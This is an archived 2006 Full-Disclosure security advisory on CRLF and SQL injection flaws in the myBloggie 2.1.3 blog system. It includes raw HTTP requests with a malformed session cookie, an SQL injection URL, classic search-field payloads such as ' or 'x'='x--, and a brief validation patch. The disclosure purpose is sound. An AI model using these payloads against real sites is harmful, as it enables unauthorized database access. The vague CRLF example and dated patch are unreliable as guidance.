full-disclosure - HYSA-2006-008 myBloggie 2.1.3 CRLF & SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <68cbfab10605170551x5d790785l7715473f6720b2b3@mail.gmail.com>
Date: Wed May 17 13:51:57 2006
From: h4cky0u.org at gmail.com (h4cky0u)
Subject: HYSA-2006-008 myBloggie 2.1.3 CRLF & SQL Injection

------------------------------------------------------
      HYSA-2006-008 h4cky0u.org Advisory 017
------------------------------------------------------
Date - Wed May 17 2006


TITLE:
======

myBloggie 2.1.3 CRLF & SQL Injection


SEVERITY:
=========

Medium


SOFTWARE:
=========

myBloggie 2.1.3

http://mybloggie.mywebland.com/


INFO:
=====

myBloggie is considered one of the most simple, user-friendliest yet packed
with features

Weblog system available to date.


DESCRIPTION:
============

--==CRLF injection==--

GET /mybloggie/ HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: 127.0.0.1:80
Cookie: PHPSESSID=op0-11{}};q, or something like that
Connection: Close

GET /mybloggie/admin.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: 127.0.0.1:80
Cookie: PHPSESSID=op0-11{}};q, or something like that
Connection: Close

GET /mybloggie/index.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: 127.0.0.1:80
Cookie: PHPSESSID=op0-11{}};q, or something like that
Connection: Close

--==SQL injection==--

http://127.0.0.1/mybloggie/index.php?mode=viewid&post_id='

Also MurderSkillz discovered a bug in the search function. Here is a
proof-of-concept:

1' having '1'='1'--

or

' or 'x'='x--

And a little patch from me:

if(ereg('[^A-Za-z0-9_]',$_POST['keyword'])){
    echo "Invalid Characters";
    exit;
    }

if (isset($_GET['select'])) $select=$_GET['select'];
if (isset($_POST['keyword'])) $keyword=$_POST['keyword'];


$keyword = preg_replace($html_entities_match,
$html_entities_replace,$keyword);
//....


VENDOR STATUS:
==============

Vendor was contacted but no response received till date.


CREDITS:
========

This vulnerability was discovered and researched by
matrix_killer of  h4cky0u Security Forums.

mail : matrix_k at abv.bg

web : http://www.h4cky0u.org


Search function sql injection was discovered by:  MurderSkillz


Co-Researcher:

h4cky0u of h4cky0u Security Forums.

mail : h4cky0u at gmail.com

web : http://www.h4cky0u.org

Greets to all omega-team members + krassswr,EcLiPsE and all who support us
!!!


ORIGINAL ADVISORY:
==================

http://www.h4cky0u.org/advisories/HYSA-2006-008-mybloggie.txt

-- 
http://www.h4cky0u.org
(In)Security at its best...
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060517/8c8a0514/attachment.html